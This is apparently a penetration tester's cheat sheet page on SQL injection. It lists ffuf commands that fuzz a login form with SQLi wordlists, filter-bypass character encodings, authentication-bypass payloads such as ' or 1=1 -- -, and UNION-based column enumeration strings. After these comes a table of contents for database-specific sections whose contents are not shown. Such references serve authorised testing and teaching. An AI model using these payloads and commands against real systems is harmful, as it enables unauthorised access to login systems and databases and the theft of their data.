Page cover
For the complete documentation index, see llms.txt. This page is also available as Markdown.

SQL Injection

01. Getting Started

## ------------------| Fuzzing
wget https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/Injections/SQL.txt

ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded" 
ffuf -X POST -u http://<URL/admin -d 'username=FUZZ&password=h4rithd' -w /usr/share/wordlist/Injections/SQL.txt -x http://127.0.0.1:8080 -H "Content-Type: application/x-www-form-urlencoded"                                         
## ------------------| Bypass
CHAR(58) --> :
CHAR(32) --> space
/**/     --> space
CHAR(39) --> '
CHAR(85) --> U

## ------------------| Auth Bypass
';#
'-- -
"-- -
admin ') -- -
admin'||''==='
admin ' or 1=1 -- -
admin ' or '1'='1
admin ' or '1'='1'
admin ' or '1'='1 -- -
admin ' or '1'='1' -- -
admin ' or 1=1 LIMIT 1; #
admin ' or 1=1 LIMIT 1; -- -

## ------------------| Enum cols
1 ORDER BY 1 -- -
1' ORDER BY 1 -- -
1' ORDER BY 2 -- -
1' UNION SELECT 1,2,3 -- -
1' UNION SELECT "1","2","3" -- -
1' UNION SELECT "1","PrintMe","3" -- -
1' UNION ALL SELECT 1,2,3 -- -
1' UNION ALL SELECT "1","2","3" -- -
1' UNION ALL SELECT "1","PrintMe","3" -- -

## ------------------| Check math
?id=1+1
?id=1+2
?id=1 + 2
?id=2-1

02. MySQL

  • Useful commands

  • Privileges

  • File Injection

02.1 Union Injection

02.2 Error-Based Injection

02.3 Time Based Injection

03. MSSQL

  • Useful Commands

  • Command Execution

03.2 Error-Based Injection

03.3 Stacked Queries Injection

04. Oracal

04.1 Union Injection

04.2 Error-Based Injection

05. PostgreSQL

  • Useful Commands

05.1 Stacked Queries Injection

06. SQLite

07. Automated

  • Fuzzing

  • SQLMap

08. WebSocket

Last updated